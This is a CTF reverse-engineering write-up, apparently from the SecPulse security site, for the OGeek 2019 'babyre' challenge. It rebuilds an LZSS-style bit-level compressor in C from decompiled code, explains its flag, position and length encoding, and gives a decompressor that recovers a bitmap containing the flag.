
    FILE *out_fp;

    int field_8;

    int field_C;

    int amount;

} out_container;

 

void push_one_bit(out_container *a1, int a2)

{

    int v2; // ebx

 

    if (a2)

        *(unsigned char *)&(a1->field_8) |= *(unsigned char *)&(a1->field_C);

    *(unsigned char *)&(a1->field_C) >>= 1;

    if (!*(unsigned char *)&(a1->field_C))

    {

        v2 = a1->field_8;

        if (v2 == _IO_putc(a1->field_8, a1->out_fp))

            ++a1->amount;

        else

            puts("write fail.");

        a1->field_8 = 0;

        *(unsigned char *)&(a1->field_C) = 0x80u;

    }

}

 

#define _WORD short

 

void push_n_bits(out_container *a1, size_t a2, char a3)

{

    int v3;     // ebx

    unsigned i; // [rsp+28h] [rbp-18h]

 

    for (i = 1 << (a3 - 1); i; i >>= 1)

    {

        if (a2 & i)

            *(unsigned char *)&(a1->field_8) |= *(unsigned char *)&(a1->field_C);

        *(unsigned char *)&(a1->field_C) >>= 1;

        if (!*(unsigned char *)&(a1->field_C))

        {

            v3 = a1->field_8;

            if (v3 == _IO_putc(a1->field_8, a1->out_fp))

                ++a1->amount;

            else

                puts("write fail.");

            a1->field_8 = 0;

            *(unsigned char *)&(a1->field_C) = -128;

        }

    }

}

 

void compress(_IO_FILE *in_fp, out_container *out)

{

    signed int i;   // [rsp+1Ch] [rbp-24h]

    signed int j;   // [rsp+1Ch] [rbp-24h]

    signed int k;   // [rsp+1Ch] [rbp-24h]

    int l;          // [rsp+1Ch] [rbp-24h]

    signed int m;   // [rsp+20h] [rbp-20h]

    signed int v7;  // [rsp+24h] [rbp-1Ch]

    int v8;         // [rsp+28h] [rbp-18h]

    signed int v9;  // [rsp+2Ch] [rbp-14h]

    signed int number; // [rsp+30h] [rbp-10h]

    char buf[0x1000];

    char byte_202040[17];

    int position; // [rsp+34h] [rbp-Ch]

    int v12; // [rsp+38h] [rbp-8h]

    int v13; // [rsp+38h] [rbp-8h]

 

    memset(buf, 0, 0x1000uLL);

    v8 = 1;

    for (i = 0; i <= 16; ++i)

    {

        v12 = _IO_getc(in_fp);

        if (v12 == -1)

            break;

        buf[i + 1] = v12;

    }

    v7 = i;

    number = 0;

    position = 0;

    while (v7)

    {

        if (number > v7)

            number = v7;

        if (number > 1)

        {

            v9 = number;

            push_one_bit(out, 0);

            push_n_bits(out, position, 12);

            push_n_bits(out, number - 2, 4);

        }

        else

        {

            v9 = 1;

            push_one_bit(out, 1);

            push_n_bits(out, buf[v8], 8);

        }

        for (j = 0; j < v9; ++j)

        {

            v13 = _IO_getc(in_fp);

            if (v13 == -1)

                --v7;

            else

                buf[((_WORD)v8 + 17 + (_WORD)j) & 0xFFF] = v13;

        }

        v8 = ((_WORD)v8 + (_WORD)v9) & 0xFFF;

        if (v7)

        {

            for (k = 0; k <= 16; ++k)

                byte_202040[k] = buf[((_WORD)v8 + (_WORD)k) & 0xFFF];

            number = 0;

            for (l = ((_WORD)v8 + 17) & 0xFFF; l != v8; l = ((_WORD)l + 1) & 0xFFF)

            {

                if (l)

                {

                    for (m = 0; m <= 16 && buf[((_WORD)l + (_WORD)m) & 0xFFF] == byte_202040[m]; ++m)

                        ;

                    if (m >= number)

                    {

                        number = m;

                        position = l;

                    }

                }

            }

        }

    }

    push_one_bit(out, 0);

    push_n_bits(out, 0LL, 12);

}

 

int main(int argc, char **argv)

{

   

    FILE *in_fp;

    out_container *out = malloc(sizeof(out_container));

 

    if(argc < 3)

    {

        puts("Usage: ./compress in_file out_file");

        exit(0);

    }

 

    in_fp = fopen(argv[1], "rb");

 

    if(in_fp == NULL)

    {

        perror("fopen error!");

        exit(-1);

    }

   

    out->out_fp = fopen(argv[2], "wb");

 

    if(out->out_fp == NULL)

    {

        perror("fopen error!");

        exit(-1);

    }

 

    setbuf(out->out_fp, NULL);

    out->field_8 = 0;

    *(unsigned char *)&(out->field_C) = -128;

    out->amount = 0;

 

    compress(in_fp, out);

 

    fputc(0, out->out_fp);

 

    fclose(in_fp);

    fclose(out->out_fp);

 

    free(out);

 

    return 0;

}

通过下面测试,已经和原先的程序行为基本一致:

ex@Ex:~/ogeek2019/re/babyre$ ./compress in out

ex@Ex:~/ogeek2019/re/babyre$ ./babyre in out2

Weclcome to My Baby re.

######                                      

#     #   ##   #####  #   #    #####  ######

#     #  #  #  #    #  # #     #    # #     

######  #    # #####    #      #    # #####

#     # ###### #    #   #      #####  #

#     # #    # #    #   #      #   #  #

######  #    # #####    #      #    # ######

 

Yes ,succeed get new file! XD

ex@Ex:~/ogeek2019/re/babyre$ sha256sum out*

3d82edff890a2cf5e2dcb1759139ca4818a9f54d0ad94996aa6c63fa3a6f0eca  out

3d82edff890a2cf5e2dcb1759139ca4818a9f54d0ad94996aa6c63fa3a6f0eca  out2

分析代码可得,这是一个根据重复字符来压缩的算法,但是其长度和举例都是有限的,其长度是17,也就是byte_202040的长度,而最大距离则正好是buf0x1000

if (number > v7)

    number = v7;

if (number > 1)

{

    v9 = number;

    push_one_bit(out, 0);

    push_n_bits(out, position, 12);

    push_n_bits(out, number - 2, 4);

}

else

{

    v9 = 1;

    push_one_bit(out, 1);

    push_n_bits(out, buf[v8], 8);

}

buf为该压缩算法的缓冲区,大小为0x1000,其压缩的目的也主要取决于该缓冲区。

这是一个按位压缩的算法,从compress函数的上面代码可知,该协议分为标志位和携带内容,当标志为1时,其协议长度分为9 bit, 第一个bit为标志位,后面八个bit为一个字符。

当标志为0时,其协议长度分为17 bit, 第一个bit为标志位,然后12bit为buf缓冲区的地址,然后4bit为重复的次数,在解压的时候直接将其复制过来就行,这里主要是压缩重复的字节流。

只要知道压缩原理之后,只要按照其协议解压即可。下面是我写的解压程序:

// gcc -s -O3 uncompress.c -o uncompress

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

void recover(char *out_str, unsigned int position, unsigned int num, size_t out, char *buf)

{

    int i, p, o;

    char ch;

    p = position - 1;

    o = out;

    for (i = 0; i < num; i++)

    {

        if (((p - out) & 0xfff) >= 0 && ((p - out) & 0xfff) < 17)

        {

            p = position - 1;

            buf[(o & 0xfff)] = buf[(p & 0xfff)];

            out_str[o++] = buf[(p++ & 0xfff)]; // out_str[p++];

        }

        else

        {

            buf[(o & 0xfff)] = buf[(p & 0xfff)];

            out_str[o++] = buf[(p++ & 0xfff)]; // out_str[p++];

        }

    }

}

 

int main(int argc, char **argv)

{

    int bit, used;

    register union{

        int value;

        char bytes[4];

    }bits;

    unsigned char ch, *in_str, *out_str, buf[0x1000];

    unsigned int position, num;

    FILE *in_fp, *out_fp;

    size_t in = 0, all_in, out = 0;

 

    if(argc < 3)

    {

        puts("Usage: ./uncompress in_file out_file");

        exit(0);

    }

 

    in_fp = fopen(argv[1], "rb");

 

    if(in_fp == NULL)

    {

        perror("fopen error!");

        exit(-1);

    }

 

    out_fp = fopen(argv[2], "wb");

 

    if(out_fp == NULL)

    {

        perror("fopen error!");

        exit(-1);

    }

 

    setbuf(out_fp, NULL);

 

    in_str = malloc(62914560);

    out_str = malloc(62914560);

 

    memset(buf, 0, 0x1000);

 

    all_in = fread(in_str, 1, 62914560, in_fp);

 

    bits.bytes[3] = in_str[in++];

    bits.bytes[2] = in_str[in++];

    bits.bytes[1] = in_str[in++];

    bits.bytes[0] = in_str[in++];

 

    used = 0;

 

    while (in < all_in)

    {

        if(bits.value & 0x80000000)

        {

            bits.value <<= 1;

            ch = bits.bytes[3];

            bits.value <<= 8;

            buf[out & 0xfff] = ch;

            out_str[out++] = ch;

            used += 9;

        }

        else

        {

            bits.value <<= 1;

            position = (bits.value & 0xfff00000) >> 20;

            bits.value <<= 12;

            num = ((bits.value & 0xf0000000) >> 28) + 2;

            bits.value <<= 4;

            recover(out_str, position, num, out, buf);

            out += num;

            used += 17;

        }

 

        while(used / 8)

        {

            bits.value |= (in_str[in++] << (used - 8));

            used -= 8;

        }

    }

 

    fwrite(out_str, 1, out, out_fp);

 

    fclose(out_fp);

    fclose(in_fp);

    free(in_str);

    free(out_str);

 

    return 0;

}

之后用该程序进行解压,可以获得一张图片,flag就在图片里。

ex@Ex:~/ogeek2019/re/babyre$ ./uncompress output.file result

ex@Ex:~/ogeek2019/re/babyre$ file result

result: PC bitmap, Windows 98/2000 and newer format, 1920 x 1080 x 32




本文作者:星盟安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/111370.html

Tags:
评论  (0)
快来写下你的想法吧!

星盟安全团队

文章数:31 积分: 75

星盟安全团队---"VENI VIDI VICI"(我来,我见,我征服),我们的征途是星辰大海。从事各类安全研究,专注于知识分享。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号